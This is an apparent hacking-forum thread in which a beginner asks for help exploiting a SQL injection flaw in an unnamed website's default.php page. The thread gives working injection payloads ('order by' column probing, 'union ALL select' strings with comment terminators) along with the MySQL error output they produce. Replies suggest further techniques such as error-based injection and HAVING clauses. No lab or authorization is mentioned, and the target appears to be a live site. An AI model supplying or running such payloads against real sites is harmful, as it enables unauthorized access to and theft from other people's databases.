Waraxe IT Security Portal

AleisterCrow · Beginner

hi guys,

i'm trying to explore a sql injection vulnerability but i'm having some problems.

default.php?p_secao=65 order by 1 /* --> no error

default.php?p_secao=65 order by 2 /* --> error:

ERROR: Could not execute MySQL query. Query: 'SELECT sec_arquivo FROM SECOES WHERE PROJETOS_proj_codigo = 174 AND sec_codigo = 65 order by 2 /*'Unknown column '2' in 'order clause'

ok, so the tabble has just one column right ?

but when i try to do this:

default.php?p_secao=65 union select null /* --> error

ERROR: Could not execute MySQL query. Query: 'select sec_nome, SECOES_sec_codigo from SECOES where sec_codigo = 65 union select null /* and PROJETOS_proj_codigo = 174'The used SELECT statements have a different number of columns

why am i getting this error ?

cheers

RubberDoll · Active user

Why UNION select NULL?

-65 union ALL select 1/*

AleisterCrow · Beginner

because the NULL value can be converted to any other data type, avoiding errors caused by different data types in the same column.

I tried to use

-65 union ALL select 1/*

but it didin't works as well.

ERROR: Could not execute MySQL query. Query: 'select sec_nome, SECOES_sec_codigo from SECOES where sec_codigo = 65 union ALL select 1/* and PROJETOS_proj_codigo = 174'The used SELECT statements have a different number of columns

I'm not that sure that ' /* ' is doing what it was supossed to do.

any idea ?

pink_spider · Advanced user

It is 'Error based Sql injection' (inband)

Try error based syntaxes for sqli suksses xD

sk8er · Advanced user

you should trie with clausule "HAVING" form more results Very Happy